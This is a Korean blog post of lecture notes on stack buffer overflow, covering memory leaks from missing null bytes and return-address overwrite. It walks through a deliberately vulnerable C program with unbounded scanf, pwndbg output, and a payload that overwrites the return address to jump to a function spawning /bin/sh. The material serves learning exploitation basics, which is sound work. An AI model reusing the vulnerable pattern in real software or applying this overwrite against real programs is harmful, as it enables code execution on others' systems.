일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 | 31 |
- 대학원
- 계정 탈취
- recon-ng
- SecurityMetric
- decap
- 화이트해커
- Shift + ESC
- Kublet
- cgroups
- 액티브스캐닝
- Mac
- NMAP
- 무선채널
- Chrome 작업관리자
- Container
- 패시브스캐닝
- Social Network in Game
- 보안
- ip forwarding
- OIDC
- dnsenum
- davtest
- OpenID Connect
- airdecap-ng
- 프로젝트
- AttackGraph
- 강의
- 넷크래프트
- Mimikatz
- 공격그래프
- Today
- Total
네른
Stack Buffer Overflow 본문
스택 오버플로우는 스택영역 확장이 너무 큰 경우
스택 버퍼 오버플로우는 스택에 존재하는 버퍼가 오버플로우 되는 것
Memory leak
- 문자열의 끝(스택에서 문자열의 맨 끝)에 널바이트가 없으면 하나의 문자열로 인식되어 printf 등에서 쭉 출력될 수 있음
- c계열의 언어에서는 널바이트(x00)가 문자열의 종료를 알림. 별도의 길이 언급이 없는 대부분의 함수는 이 널바이트를 만날 때 까지 동작을 계속하므로 주의해야 함
Return address overwrite
- 함수를 호출할 때, rip(반환 주소)와 rbp를 스택에 순서대로 담는다는 것을 생각
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
위 예제에서, main부분을 보면 scanf에 %s로 길이제한 없이 입력을 받고 이를 buf에 담는다.
이 경우, 공격자가 scanf의 ret를 get_shell로 변경하면 쉘이 실행될 것
위 프로그램을 gdb로 보면 다음과 같이 나옴
pwndbg> nearpc 0x400611
0x4005fe <main+25> lea rax, [rbp - 0x30]
0x400602 <main+29> mov rsi, rax
0x400605 <main+32> lea rdi, [rip + 0xa8] #0x4006b4
0x40060c <main+39> mov eax, 0
► 0x400611 <main+44> call __isoc99_scanf@plt <__isoc99_scanf@plt>
pwndbg> x/s 0x4006b4
0x4006b4: "%s"
scanf를 호출하기 전에 rdi, rsi에 각각 rip+0xA8의 주소 / rbp-0x30의 주소가 입력됨
SYSV 컨벤션에 의해 rbp-0x30이 buffer의 위치가 됨.
즉, 공격자는 0x38만큼을 더미데이터로 채우고 리턴주소를 넣는 페이로드를 입력하면 됨
gd에서 get_shell의 주소를 확인하기 위해 print get_shell로 주소를 확인하고 payload를 생성
물론 실제 공격할 때에는 저 주소가 매번 달라지므로 다른 방식을 써야하겠지만, 여기서는 연습이니까
payload는 "A"*0x38 + '\xa7\x05\x40\x00\x00\x00\x00\x00' 와 같이 작성되어야 함 (리틀엔디안)
+ pwntools 사용 중 payload 작성시에 문자열은 다음과 같이 앞에 byte 표시를 해주어야 함
그래야 p64 등과 concat이 가능함
'강의 정리 > 드림핵 정리' 카테고리의 다른 글
NX & ASLR (0) | 2022.03.02 |
---|---|
Stack Canary (0) | 2022.02.17 |
Calling Convention (0) | 2022.02.15 |
pwntools API 정리 (0) | 2022.02.11 |
orw shellcode (0) | 2022.02.11 |